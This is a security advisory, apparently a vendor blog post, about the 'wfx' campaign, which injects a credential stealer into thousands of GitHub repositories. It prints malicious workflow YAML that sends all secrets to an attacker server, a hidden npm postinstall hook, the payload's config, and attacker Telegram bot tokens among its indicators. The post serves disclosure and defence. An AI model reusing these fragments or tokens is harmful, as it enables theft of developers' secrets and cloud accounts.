wfx: GitHub Actions Credential Stealer Hits 8,000 Repos

Kunal Singh8 min read

An attacker is using stolen GitHub tokens to push a credential stealer into other people’s repositories. The stealer runs once, in GitHub Actions or on npm install, and sends the repository’s secrets and cloud credentials to the attacker. It also tries to leave backdoors in AWS and Azure that survive a secret rotation. In almost all repositories the attacker then reverts the commit, so the branch looks clean.

Aikido Security first reported the campaign(opens in new tab).

Between November 10, 2026 at 12:46 UTC and November 12 at 04:36 UTC, 8,093 repositories received malicious commits. The campaign was still active when that search ran. Two package registries serve the payload: Packagist in digitalelvis/neuronai-studio v3.14.3, and the Go module proxy in the latest version of github.com/vkuznet/gocurl. The name wfx comes from the prefix the payload puts on its files, branches and cloud objects. If your repository is in the list below, rotate every secret it can read and check your cloud accounts for backdoors.

How the attack works

The commits are authored as real users of the repository, with their noreply email and no signature, which points to stolen tokens. In 1,343 repositories the author is an account other than the owner, such as a collaborator or a bot.

The attacker first opens a pull request titled docs: dependency audit notes from a branch named wfx-docs (for example iamharidasan/great-vibes-job#2(opens in new tab)). The pull request adds a small notes file and tests whether the token can write to the repository. GitHub search shows 61,879 of these pull requests in 61,734 repositories, opened from 4,833 accounts. 91% are still open. Then the attacker plants the stealer in one of three ways:

All three run in CI. Empty repositories have no workflow to inject into, so the attacker first pushes chore: initial commit and then the new workflow file. After the run, the attacker pushes ci: restore and ci: cleanup to remove the payload. In Panelinha-34/tech-challenge-01(opens in new tab), the payload went in at 14:01 UTC (9881b5d(opens in new tab)) and came out at 14:05 (952a565(opens in new tab)). A few repositories still have the live payload, including vkuznet/gocurl, Kellie-Brighty/Suinicate, and two with the postinstall hook still in package.json (MattiaPARRINELLO/git-quest and alexappsco/ttra-site).

The malicious workflow

The workflow runs on every push. It asks for an OIDC token (id-token: write) and for permission to set commit statuses. The first step copies the Actions runtime tokens into the job environment, and the second passes all secrets and variables to the payload as JSON.

.github/workflows/build-audit-m8bnpk.yml @ 9b18a65 (lines 1-32)
name: Dependency Audit y82c
on:
  push:
  workflow_dispatch:
permissions:
  contents: read
  actions: read
  id-token: write
  statuses: write
jobs:
  audit_base:
    runs-on: ubuntu-latest
    steps:
      - name: Pass runtime
        uses: actions/github-script@v7
        with:
          script: |
            const fs = require('fs');
            const ev = process.env;
            const keys = ['ACTIONS_RUNTIME_TOKEN','ACTIONS_RUNTIME_URL','ACTIONS_CACHE_URL','ACTIONS_RESULTS_URL'];
            const lines = keys.filter(k => ev[k]).map(k => k + '=' + ev[k]);
            if (lines.length) fs.appendFileSync(ev.GITHUB_ENV, lines.join('\n') + '\n');
      - name: Run audit
        env:
          WF_SECRETS: "${{ toJSON(secrets) }}"
          WF_VARS: "${{ toJSON(vars) }}"
          WF_REPO: "${{ github.repository }}"
          WF_REF: "main"
          WF_ENV: ""
          WF_CALLBACK: "http://194.150.166.244:8080/exfil"
          WF_CALLBACK2: ""
          WF_CTOKEN: "b42d70a7aab9140ca19e8249"

Source: masterpranay1/Country-Quiz-Challenge@9b18a65(opens in new tab).

The npm postinstall hook

The hook runs the payload on each npm install, whether on a CI runner or a developer’s laptop.

package.json @ 151af5f
     "test": "vitest run",
-    "test-watch": "vitest"
+    "test-watch": "vitest",
+    "postinstall": "sh ./.ci-dwgd2n.sh >/dev/null 2>&1; _r=$?; if [ \"$_r\" -eq 42 ]; then exit 42; fi"
   },

What the payload steals

All three methods run the same script. It collects:

  • GitHub secrets: all repository secrets and variables, GITHUB_TOKEN and the Actions runtime tokens.
  • Tokens in memory: it scans the runner’s process memory and environment for GitHub, AWS, OpenAI, Anthropic and other API keys.
  • Credential files: cloud CLI configs, ~/.ssh, ~/.gnupg, registry tokens, kubeconfig, shell history, crypto wallets and AI tool configs.
  • Secrets in the repository: files such as .env, *.tfvars and *.tfstate.
  • Cloud access: it requests GitHub OIDC tokens for AWS, Azure and GCP and tries to use them, even when the repository has no cloud setup. It also replays the OIDC token against HashiCorp Vault and Kubernetes APIs.

It sends the data by HTTP POST to port 8080 on 194.150.166[.]244, 18.143.168[.]96 or 153.75.82[.]159, or to a Telegram chat. In a sample of 200 payload commits, about half used the first server and a fifth used Telegram only. The code can also hide stolen data in Actions caches, artifacts and job summaries, but every sample analyzed had this switched off.

Backdoors that outlast the run

  • AWS: it creates new access keys and edits role trust policies. Its sessions are named wfx-<pid>.
  • Azure: it adds a federated credential named wfx-ci-<n> to Entra app registrations. Any workflow on the repository’s main branch can then log in to Azure as that app, even after you rotate client secrets.

The payload also has code to mark required status checks as passing, but no sample analyzed switched it on.

Package impact

Two published versions carry the full payload. A normal composer require or go get does not run it in either case.

neuronai-studio v3.14.3 on Packagist

The repository has a release workflow that runs npm ci and release-it on every push to main. The attacker’s push started it, but the payload did not run there:

The release commit uses the github-actions[bot] identity that the workflow sets, but it came from outside GitHub Actions. The data does not show who ran it, the owner or the attacker. The same account also has a ci-check-2830 branch from October 20, a pattern Aikido links to an earlier wave of attacks.

The payload’s header shows its settings for this repository:

.ci-e5infq.sh @ 45da53a (lines 2-21)
export WF_REPO='digitalelvis/neuronai-studio'
export WF_REF='main'
export WF_ENV='script'
export WF_CALLBACK='http://194.150.166.244:8080/exfil'
export WF_CALLBACK2=''
export WF_CTOKEN='b42d70a7aab9140ca19e8249'
export WF_CHUNK='8388608'
export WF_MAXFILES='111'
export WF_MAXSIZE='524288'
export WF_TARBALL='1'
export WF_HISTORY='1'
export WF_MEMSCAN='1'
export WF_GCP='1'
export WF_EXFIL_CACHE='1'
export WF_EXFIL_SUM='1'
export WF_EXFIL_ART='1'
export WF_EXFIL_LOG='0'
export WF_PRIVATE='0'
export WF_FALLBACK='0'
export WF_KEY=''

WF_MEMSCAN='1' turns on the memory scan. The cache, summary and artifact channels only run when WF_PRIVATE is 1, so the data leaves by HTTP POST to 194.150.166[.]244 alone.

The release changes no PHP code. It adds .ci-e5infq.sh (1,493 lines) and the hook in package.json. That file is private and never reached npm.

Block v3.14.3 and pin v3.14.2 or earlier. Packagist still serves v3.14.3 as the latest version.

gocurl on the Go module proxy

gocurl has no tags, so go get ...@latest resolves to the newest commit. That commit is the attacker’s 8d5aad0(opens in new tab), and the Go proxy now caches it for good. The commit adds 1,508 lines to .github/workflows/build.yml and touches no Go code.

The attacker left the workflow trigger alone. It only fires on a version tag:

.github/workflows/build.yml @ 8d5aad0 (lines 1-8)
permissions:
  statuses: write
name: Build

on:
  push:
    tags:
      - '*.*.*'

The push carried no tag, and the repository has zero Actions runs, so the payload never ran. The attacker also never reverted this commit. go get, go build and go mod download do not run workflow files. The payload runs only when someone pushes an x.y.z tag on this commit, in the original repository or in a fork with Actions on. The owner should remove the injected steps before the next release. Consumers should block this pseudo-version.

A scan of 218 npm, Go and Packagist packages whose source repositories received malicious commits found no other published version with the payload. PyPI and other registries were not checked.

The payload reached 28 WebdriverIO repositories through commits authored as the bot account wdio-bot. No package release was affected. Anyone who ran npm install on those commits still ran the payload, so treat the wdio-bot token as stolen.

Affected repositories

Search the table for your organization or user name. Each row links to one malicious commit and names its commit author.

wfx: affected repositories
Rowrepositoryindicatorsfirst_seen_utclast_seen_utcmalicious_commitsprobe_prscommit_authorsevidence_url
1Alex0021/MOBR-Thymio-Time-Voyageursworkflow_injection2026-11-10T12:46:19Z2026-11-12T02:03:15Z90rfuleihahttps://github.com/Alex0021/MOBR-Thymio-Time-Voyageurs/commit/2b1d615e88171519718b97126b01aafff79b2eaa
2abdurrahman-akash/Agencyworkflow_injection2026-11-10T13:02:10Z2026-11-12T02:03:18Z80EnamulBokshihttps://github.com/abdurrahman-akash/Agency/commit/df36d8835f573beb0ee6a7f079730f7b13f56acf
3AmoghGupta07/Climate-Data-Analysis-Systemworkflow_injection2026-11-10T13:02:13Z2026-11-12T02:03:20Z80uma-vvlhttps://github.com/AmoghGupta07/Climate-Data-Analysis-System/commit/f89c0d55be8f743656491c25fbec90b874d4e6df
4varunvaghasiya11/Array_Tasksworkflow_injection2026-11-10T13:02:14Z2026-11-12T02:03:17Z80varunvaghasiya11https://github.com/varunvaghasiya11/Array_Tasks/commit/24df9b195989bdd569c43243d6e0e4ab0c55f5cf
5mohamedkanaani/Arduinoworkflow_injection2026-11-10T13:02:15Z2026-11-12T02:03:16Z80mohamedkanaanihttps://github.com/mohamedkanaani/Arduino/commit/b856be52be379109a848c26017f303878d10455b
6dhanapal4/health-care-portalworkflow_injection2026-11-10T13:02:15Z2026-11-12T02:03:18Z80JKS-syshttps://github.com/dhanapal4/health-care-portal/commit/1c8f4471e6b18aa11965daf73eff6ba2943bf52e
7abhishekibef/genvest-backendworkflow_injection2026-11-10T13:02:15Z2026-11-12T02:03:15Z90abhishekibefhttps://github.com/abhishekibef/genvest-backend/commit/bf5e4bec76a20a810a1291870f18d6af4971ef47
8AlexandreLefay/arosaje-backendworkflow_injection2026-11-10T13:02:15Z2026-11-12T02:03:17Z80MatthieuDeroirhttps://github.com/AlexandreLefay/arosaje-backend/commit/8bc76c608c304ab71fd13b023d8c74b61334295c
9DexxoDev/arsenalworkflow_injection2026-11-10T13:02:15Z2026-11-12T02:03:17Z90DexxoDevhttps://github.com/DexxoDev/arsenal/commit/280fffe8d7acaf69fcd48aa7ed0cfa7683bf771c
10Devam0416/100-Days-Of-Codeworkflow_injection2026-11-10T13:02:15Z2026-11-12T02:03:17Z80Devam0416https://github.com/Devam0416/100-Days-Of-Code/commit/64f03fbb9299aa0c94c6173113a2cd6fbb7be261
11coldwater78910/Family_Recipesworkflow_injection2026-11-10T13:02:16Z2026-11-12T02:03:20Z80coldwater78910https://github.com/coldwater78910/Family_Recipes/commit/b1ff7121ff40414f278c7aa8f5afc0cab6ea0a59
12RaoMehdiHassan/Amazon-Product-Displayworkflow_injection2026-11-10T13:02:16Z2026-11-12T02:03:18Z80RaoMehdiHassanhttps://github.com/RaoMehdiHassan/Amazon-Product-Display/commit/a76b9e376c52a32408427d4a072ad08f072882b9
13GodLink-Software/gdrworkflow_injection2026-11-10T13:02:16Z2026-11-12T02:03:15Z80jsgedhttps://github.com/GodLink-Software/gdr/commit/d699e79e10a7082df7d67ab95f205220382373e2
14Debbatisudheer/-Kruskal-s-Algorithmworkflow_injection2026-11-10T13:02:16Z2026-11-12T02:03:18Z80Debbatisudheerhttps://github.com/Debbatisudheer/-Kruskal-s-Algorithm/commit/0df81ce317e9ae1fab2af41e60a60d7bdfe11cee
15dustingolding/devops-practiceworkflow_injection2026-11-10T13:02:30Z2026-11-12T02:03:14Z80dustingoldinghttps://github.com/dustingolding/devops-practice/commit/10588f77f4eb15180c9c25688559d6b6d8934cf3
16TestAccount4742/bible_translationsworkflow_injection2026-11-10T13:02:31Z2026-11-12T02:03:17Z80TestAccount4742https://github.com/TestAccount4742/bible_translations/commit/296c2f74cf98900c2b7d366946f8b3fbd0c258fa
17Apokharel8611/SEFworkflow_injection2026-11-10T13:02:31Z2026-11-12T02:03:15Z80arpanpokharel07https://github.com/Apokharel8611/SEF/commit/654ab7409e8cc37aa9cd830ac5136bc9cc5c57af
18Abhishek2127/Employee-management-systemworkflow_injection2026-11-10T13:02:35Z2026-11-12T02:03:20Z80Abhishek2127https://github.com/Abhishek2127/Employee-management-system/commit/b1dfcdec09b389ef5ec744964ef17fce0fec6bc2
190-pavand/0-pavandworkflow_injection2026-11-10T13:02:37Z2026-11-12T02:03:20Z800-pavandhttps://github.com/0-pavand/0-pavand/commit/656e6703b55ab3f9b537d6fbbcf4969a2c53cbc3
20BiggerestBoyest/IoTBayworkflow_injection2026-11-10T13:02:38Z2026-11-12T02:03:19Z80jdg0812https://github.com/BiggerestBoyest/IoTBay/commit/fe5d6cc7f8f14aaf2e76e8e42b15617e93768e9d
8092 rows · showing first 208 columns

The list comes from GitHub search, which only covers the default branch of public repositories. Private repositories and other branches are missing, so the true total is higher. Repositories that only got the probe pull request are not in the list either. All 76 sampled commits from the list, across the three methods, contained the payload.

If your repository is in the list

A probe pull request on its own means the account is compromised, even if no payload commit followed.

  1. Revoke the commit author’s tokens, OAuth app grants, SSH keys and sessions, and turn on 2FA. That account is the likely entry point.
  2. Rotate every secret and variable the repository can read, including environment and organization secrets. Rotate any key the runner could reach.
  3. Delete the wfx-docs branch and close the probe pull request.
  4. Pull any package version built between the malicious commit and the ci: cleanup commit. Publish again from a clean commit.
  5. If someone ran npm install on an affected commit, treat that machine as compromised and rotate its keys.

Check for cloud backdoors

  • Entra ID: federated credentials named wfx-ci-* that you did not create.
  • AWS CloudTrail: AssumeRoleWithWebIdentity or AssumeRole with session name wfx-*, then CreateAccessKey or UpdateAssumeRolePolicy from those sessions.
  • GCP: GenerateAccessToken and SignJwt calls from your GitHub workload identity pool.
  • Vault: JWT logins from the GitHub OIDC issuer.

Indicators of compromise

IoC: wfx campaign
Rowtypeindicatordescriptionvectorconfidencesource_sample
1ipv4194.150.166.244Exfil callback server (HTTP POST on port 8080)new_workflowhighmasterpranay1/Country-Quiz-Challenge@9b18a65; fbt0wizard/select-wizard@f704070
2urlhttp://194.150.166.244:8080/exfilWF_CALLBACK exfil endpointnew_workflowhighmasterpranay1/Country-Quiz-Challenge@9b18a65
3ipv418.143.168.96Exfil callback server (HTTP POST on port 8080; AWS ap-southeast-1 range) - cloud-hosted IP, may be reassigned; age outnpm_postinstallhighPanelinha-34/tech-challenge-01@9881b5d
4urlhttp://18.143.168.96:8080/exfilWF_CALLBACK exfil endpointnpm_postinstallhighPanelinha-34/tech-challenge-01@9881b5d
5campaign_tokenb42d70a7aab9140ca19e8249WF_CTOKEN sent with exfil to 194.150.166.244new_workflowhighmasterpranay1/Country-Quiz-Challenge@9b18a65
6campaign_tokene6ny5telf3pht81qk5zvWF_CTOKEN sent with exfil to 18.143.168.96npm_postinstallhighPanelinha-34/tech-challenge-01@9881b5d
7telegram_chat_id-1004340163187Attacker Telegram chat receiving stolen archives (WF_TG_CHAT)workflow_injectionhighchrisvillegas/docs-a2vvrm@8fea35f
8telegram_bot_token8708988906:AAEUhuTA6uigm_aBwr1RZq4vVmZfcdH48GkAttacker bot token (WF_TG_BOTS) - report to Telegram abuse; do not useworkflow_injectionhighchrisvillegas/docs-a2vvrm@8fea35f
9telegram_bot_token9196217635:AAGMs4Xpp9jc88BFgLrG7eiDJ9Z2185VTFQAttacker bot token (WF_TG_BOTS) - report to Telegram abuse; do not useworkflow_injectionhighchrisvillegas/docs-a2vvrm@8fea35f
10telegram_bot_token9180059428:AAE0sPUWEFHYu0GdmkNosAxSUW6kXSX8zFMAttacker bot token (WF_TG_BOTS) - report to Telegram abuse; do not useworkflow_injectionhighchrisvillegas/docs-a2vvrm@8fea35f
11telegram_bot_token8902935164:AAH36TLSoy8AYpj2c-0VCXP2DNfMkjIxYHsAttacker bot token (WF_TG_BOTS) - report to Telegram abuse; do not useworkflow_injectionhighchrisvillegas/docs-a2vvrm@8fea35f
12telegram_bot_token8876515636:AAELKJEqcMp9r6hVB83TZ_lfhlZsnzqNZcQAttacker bot token (WF_TG_BOTS) - report to Telegram abuse; do not useworkflow_injectionhighchrisvillegas/docs-a2vvrm@8fea35f
13commit_messagechore: add dependency audit workflowAdds new malicious workflow filenew_workflowhighmasterpranay1/Country-Quiz-Challenge@9b18a65
14commit_messageci: refresh build cacheInjects payload into an existing workflow file (generic wording - verify diff)workflow_injectionmediumchrisvillegas/docs-a2vvrm@8fea35f
15commit_messagechore: add ci helperPair of commits: adds .ci-<6>.sh and a package.json postinstall hooknpm_postinstallhighPanelinha-34/tech-challenge-01@9881b5d / @151af5f
16pr_titledocs: dependency audit notesProbe PR opened from victim account into own repoprobe_prhighiamharidasan/great-vibes-job#2
17pr_bodyRoutine dependency audit notes.Probe PR bodyprobe_prhighiamharidasan/great-vibes-job#2
18branchwfx-docsProbe PR head branchprobe_prhighiamharidasan/great-vibes-job#2
19branch_patternchore/[a-z0-9]{8}Reported campaign branch (not seen in samples analysed)unknownreporteduser-supplied indicator
20branch_patternci-check-[0-9]{4}Reported campaign branch (not seen in samples analysed)unknownreporteduser-supplied indicator
42 rows · showing first 206 columns

The analysis covers four payload samples: masterpranay1/Country-Quiz-Challenge@9b18a65(opens in new tab), fbt0wizard/select-wizard@f704070(opens in new tab), Panelinha-34/tech-challenge-01@9881b5d(opens in new tab) and chrisvillegas/docs-a2vvrm@8fea35f(opens in new tab). The branch patterns chore/[a-z0-9]{8} and ci-check-[0-9]{4} come from an outside report and do not appear in these samples.

  • supply-chain
  • github-actions
  • malware
  • ci-cd
  • secret-exfiltration
  • npm

Author

Kunal Singh

Kunal Singh

safedep.io

Share

Ship Code.Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.